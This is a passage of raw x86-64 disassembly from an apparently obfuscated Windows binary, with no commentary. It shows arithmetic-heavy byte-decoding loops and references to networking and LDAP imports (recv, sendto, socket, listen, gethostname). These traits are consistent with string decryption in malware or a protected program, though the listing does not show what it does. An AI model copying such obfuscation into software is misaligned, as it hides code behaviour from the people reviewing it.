movabs rcx, 0xc62d27c0dc6175e8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140076ba2
movabs rcx, 0xb9f2412c98c7ec50
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x14007775b
movabs rcx, 0xadb75a98552e62b8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
jmp 0x14007778d
movabs rdx, 0xa17c74041194d920
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xb50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140076ba2
movabs rdx, 0x82e9339168950124
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
mov byte [rbp + rdi + 0xb50], r11b
inc rdi
jmp 0x140076ba2
movabs rdx, 0x76ae4cfd24fb778c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 5
jb 0x14007701c
movabs rcx, 0x6fbbef8977966948
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x140077673
movabs rdx, 0x6a736668e161edf4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 0x64
jae 0x140077580
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x1400774b3
movabs rcx, 0xf56eedbed3970958
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x14007704f
movabs rdx, 0x5e387fd49dc8645c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 0xa
je 0x1400775a9
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400773eb
movabs rcx, 0x750478aa0dcae49c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x1400770a0
movabs rdx, 0x27ebe7ca2c8dc68
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xb50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140076ba2
movabs rdx, 0xf643d7e85f2f52d0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007778d
movabs rdx, 0xea08f1541b95c938
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007775b
movabs rcx, 0xddce0abfd7fc3fa0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140076ba2
movabs rcx, 0xd193242b9462b608
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
jmp 0x140077721
movabs rcx, 0xc5583d9750c92c70
jmp 0x140077367
movabs rdx, 0xb91d57030d2fa2d8
mov ecx, recv
jmp 0x1400776b6
movabs rdx, 0xace2706ec9961940
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140076ba2
movabs rdx, 0xa0a789da85fc8fa8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140077673
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400772b7
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
jmp 0x1400770f1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400772f4
movabs rcx, 0xd4ea298b984978
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
movzx eax, byte [rbp + rdi + 0xb50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140076ba2
inc rax
cmp r8, rax
jne 0x140077323
movabs rdx, 0xd0fd0bdcf31d310
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x70
add r11b, dl
jmp 0x14007778d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140077354
movabs rdx, 0x194ab75212cb5ca8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007775b
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140077380
movabs rcx, 0x3dfb6b0edd97f970
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
jmp 0x1400776f8
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400773b2
movabs rcx, 0x4a3651a321318308
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
dec rdi
inc rdi
jmp 0x140076ba2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400770fd
movabs rcx, 0x5671383764cb0ca0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
inc r9
dec rdi
inc rdi
jmp 0x140076ba2
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14007741b
movabs rdx, 0x813f5f3e51646e34
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6c
add r11b, dl
jmp 0x140077673
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140077452
movabs rdx, 0x99b52c66d8978164
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140076ba2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140077483
movabs rdx, 0xa5f012fb1c310afc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400776f8
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400770a0
movabs rcx, 0xcaa0c6b7e6fda7c4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
jmp 0x14007775b
jne 0x1400774ee
movabs rdx, 0x1a9d453173092f0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xb50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140076ba2
inc rax
cmp r8, rax
jne 0x14007751e
movabs rdx, 0x1a1fa17b9e63a620
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007775b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007754a
movabs rcx, 0x3ed05538693042e8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
jmp 0x1400776f8
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007704f
movabs rcx, 0x4b0b3bccacc9cc80
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
dec rdi
inc rdi
jmp 0x140076ba2
movabs rdx, 0x7bf6d61dbb2ff2e0
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0xb50]
sub r11b, al
sub r11b, 0x20
jmp 0x1400776f2
movabs rdx, 0x8831bcb1fec97c78
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0xb50]
sub r11b, 0x48
add r11b, dl
jmp 0x14007775b
movabs rdx, 0xee7c904b2631fb14
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400777f2
movabs rcx, 0xc9cbdc8e5b655e4c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140076ba2
movabs rdx, 0xb1560f65d4324b1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x1400776e4
movabs rdx, 0xa51b28d19098c184
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x1400776b6
movabs rcx, 0x8ca55ba90965ae54
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
movabs rdx, 0x75d962d399632e14
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xb50], cl
inc r9
dec rdi
inc rdi
jmp 0x140076ba2
movabs rdx, 0x5bb9c157faff87f4
mov ecx, Ordinal_45
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140076ba2
movabs rdx, 0x4f7edac3b765fe5c
mov ecx, 0x3e
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0x82144967dcfcb7ac
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, bl
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0xb50], cl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140076ba2
mov rbx, r10
movabs rcx, 0x2ace2706ec996194
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xc
movabs rdx, 0x8e4f2ffc20964144
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0xb50], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0x946ca34642630610
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x70
add bl, cl
mov byte [rbp + rdi + 0xb50], bl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xb50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140076ba2
movabs rdx, 0x125859de65664e64
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0xb50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140076ba2
movabs rdx, 0x2d4ce5838f623dfc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140076b9e
movabs rdx, 0x2111feef4bc8b464
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140076b81
lea rcx, [rbp + 0x1544460]
jmp 0x140077874
lea rcx, [rbp + 0xa1092c]
jmp 0x140077874
lea rcx, [rbp + 0xb50]
mov rdx, rsi
call fcn.140035c60
lea rdx, [0x1402280e0]
lea rcx, [rbp + 0x4d8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
call fcn.14006bc00
mov rsi, rax
mov byte [rbp + 0xb78], 0x3d
mov byte [rbp + 0xb79], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0xb7a], Ordinal_50
mov byte [rbp + 0xb7b], 0xcb
mov byte [rbp + 0xb7c], Ordinal_50
mov byte [rbp + 0xb7d], gethostname
mov byte [rbp + 0xb7e], 2
mov byte [rbp + 0xb7f], 0xef
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb80], xmm0
mov qword [rbp + 0xb90], rax
mov word [rbp + 0xb98], ax
mov byte [rbp + 0xb9a], al
movabs rdx, 0x4eae1f18d7a85e1d
movabs r14, 0x74488d09b0cfb861
movabs r15, 0xb88ae27d186b19bf
movabs r12, 0x1b2ea44b691a5d85
movzx r11d, byte [rsp + 0x40]
nop
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14007872b
movzx ebx, byte [rbp + rdi + 0xb78]
mov r10, rbx
cmp r8, rdi
ja 0x140078722
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140077983
lea rcx, [rdi + rdx]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x35
jmp 0x1400779c0
je 0x140078694
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007860c
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400785cc
lea rax, [r9 + 4]
cmp r8, rax
je 0x140078599
lea rax, [r9 + 3]
cmp r8, rax
je 0x140078563
nop dword [rax]
cmp r9, rdi
ja 0x140078719
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400779e9
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x59
jmp 0x140077a30
lea rax, [r9 + 1]
cmp r8, rax
je 0x140078507
inc rax
cmp r8, rax
je 0x1400784d1
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007849e
lea rax, [r9 + 4]
cmp r8, rax
je 0x140078461
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007843e
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400780bf
nop dword [rax]
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14007809b
lea rax, [r9 + 5]
cmp r8, rax
je 0x140078060
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14007802d
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140078005
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140077fdd
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140077fa0
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140077f78
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140077f51
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140077f29
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140077a40
lea r8, [r9 + 6]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400786f6
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400786d3
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140077c2d
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140077c13
lea rcx, [r9 + 0x40]
cmp r8, rcx
jb 0x140077bf9
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140077ec5
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140077e68
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140077e18
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140077de0
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140077a40
mov r8, rcx
lea r9, [rcx + 0x64]
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x140077db8
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x140077d91
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x140077d69
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x140077d2c
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x140077d04
lea rax, [r9 + 0x64]
cmp rcx, rax
ja 0x140077ce1
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x140077cae
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x140077c73
lea rax, [r9 + 0x80]
cmp rcx, rax
ja 0x140077c50
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x140077a40
lea r8, [r9 + 4]
lea r9, [r8 + 0x7a]
jmp 0x140077a40
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x39
jmp 0x140077a30
lea rcx, [rdi + r12]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x5d
jmp 0x1400779c0
movabs rcx, 0x7dd26619b9c9a14b
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xd
jmp 0x140077954
movabs rcx, 0xa244684d867dc308
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
jmp 0x140078529
movabs rdx, 0x4e82a1bd72d06ce
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
movabs rdx, 0x4eae1f18d7a85e1d
jmp 0x140077942
movabs rcx, 0x678bebea27dc4a94
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
dec rdi
inc rdi
movabs rdx, 0x4eae1f18d7a85e1d
jmp 0x140077942
movabs rcx, 0xca2fadb8788b8e5a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x76
jmp 0x1400783ea
movabs rdx, 0x2cd36f86c93ad220
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400785ea
movabs rcx, 0x8f77315519ea15e6
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4a
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x4eae1f18d7a85e1d
jmp 0x140077942
movabs rdx, 0xf21af3236a9959ac
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140078632
movabs rdx, 0x54beb4f1bb489d72
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1e
add r11b, dl
jmp 0x140078660
movabs rdx, 0xb76276c00bf7e138
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400786b3
movabs rcx, 0x2dfbdb43d5ae0aa7
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x6f
mov byte [rbp + rdi + 0xb78], r11b
inc rdi
movabs rdx, 0x4eae1f18d7a85e1d
jmp 0x140077942
movabs rdx, 0x909f9d12265d4e6d
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 5
add r11b, dl
cmp r9, 0x41
jb 0x140077dfe
movabs rcx, 0x596063e5ed157f8e
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, reloc.WS2_32.dll_ntohs
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x140078529
movabs rdx, 0xf3435ee0770c9233
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x65
add r11b, dl
cmp r8, 8
jae 0x1400783c0
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400782ff
movabs rdx, 0x33c5f5f513ee254a
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 6
jmp 0x140077e37
movabs rdx, 0x55e720aec7bbd5f9
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x31
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x2a
je 0x140078414
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400781f6
movabs rdx, 0xbf7d68eb631e6ce9
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5f
jmp 0x140077e87
movabs rdx, 0xb9b34e3a24de5246
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400786b3
movabs rdx, 0x1c571008758d960c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x54
add r11b, dl
jmp 0x140078660
movabs rdx, 0x7efad1d6c63cd9d2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140078632
movabs rcx, 0xe19e93a516ec1d98
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x4eae1f18d7a85e1d
jmp 0x140077942
movabs rdx, 0x44425573679b615e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400785ea
movabs rdx, 0xa6e61741b84aa524
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400783ea
movabs rcx, 0x989d91008f9e8ea
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x66
dec rdi
inc rdi
movabs rdx, 0x4eae1f18d7a85e1d
jmp 0x140077942
movabs rdx, 0x6c2d9ade59a92cb0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
movabs rdx, 0x4eae1f18d7a85e1d
jmp 0x140077942
movabs rdx, 0xced15cacaa587076
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3a
jmp 0x140078526
lea rcx, [r9 + 4]
cmp r8, rcx
jae 0x1400780e2
lea rcx, [rdi + rdx]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x35
jmp 0x140077ee7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007810e
movabs rcx, 0xe8911a13619f70c2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4e
jmp 0x1400786b3
inc rax
cmp r8, rax
jne 0x140078153
movabs rcx, 0xc0a5d4a86f91a570
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x4eae1f18d7a85e1d
jmp 0x140077942
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140078180
movabs rdx, 0xfb5e510bce331de4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3c
jmp 0x1400783e7
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400781c1
movabs rdx, 0x98ba8f3d7d83da1e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
movabs rdx, 0x4eae1f18d7a85e1d
jmp 0x140077942
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140077ee7
movabs rdx, 0xd3730ba0dc255292
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140078529
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140078222
movabs rcx, 0x5cd9a71d126f2923
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0xb
jmp 0x140078529
inc rax
cmp r8, rax
jne 0x14007825d
movabs rcx, 0x979223807110a197
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x21
dec rdi
inc rdi
movabs rdx, 0x4eae1f18d7a85e1d
jmp 0x140077942
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140078289
movabs rcx, 0xd24a9fe3cfb21a0b
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x4d
jmp 0x1400785ea
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400782cf
movabs rcx, 0x6fa6de157f02d645
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x1d
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x4eae1f18d7a85e1d
jmp 0x140077942
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140077e8a
movabs rcx, 0xd031c472e53927f
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x79
jmp 0x140078632
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140078330
movabs rdx, 0xd1223426c33ee184
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400786b3
inc rax
cmp r8, rax
jne 0x14007835d
movabs rdx, 0xbdab08a21e059f8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007862f
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007838e
movabs rdx, 0x46932ced8081d26c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400785ea
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140077e3a
movabs rdx, 0xe3ef6b1f2fd28ea6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400783ea
movabs rdx, 0xf6bca2179c663bc8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0xb78]
sub r11b, al
sub r11b, 0x78
add r11b, bl
add r11b, dl
movabs rcx, 0x456ac130740e99e5
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x43
add bl, cl
add bl, r11b
mov byte [rbp + rdi + 0xb78], bl
jmp 0x1400785ea
movabs rcx, 0x9418e0494bb6f802
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0xb78]
lea r11d, [rbx + rcx]
sub r11b, 0xe
jmp 0x140078632
movabs rcx, 0xfc86bcc8daa6566b
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x13
jmp 0x1400786b3
movabs rcx, 0x24720233ccb421bd
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2b
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x4eae1f18d7a85e1d
jmp 0x140077942
movabs rcx, 0x4c5d479ebec1ed0f
add rcx, rdi
movzx eax, cl
and al, bl
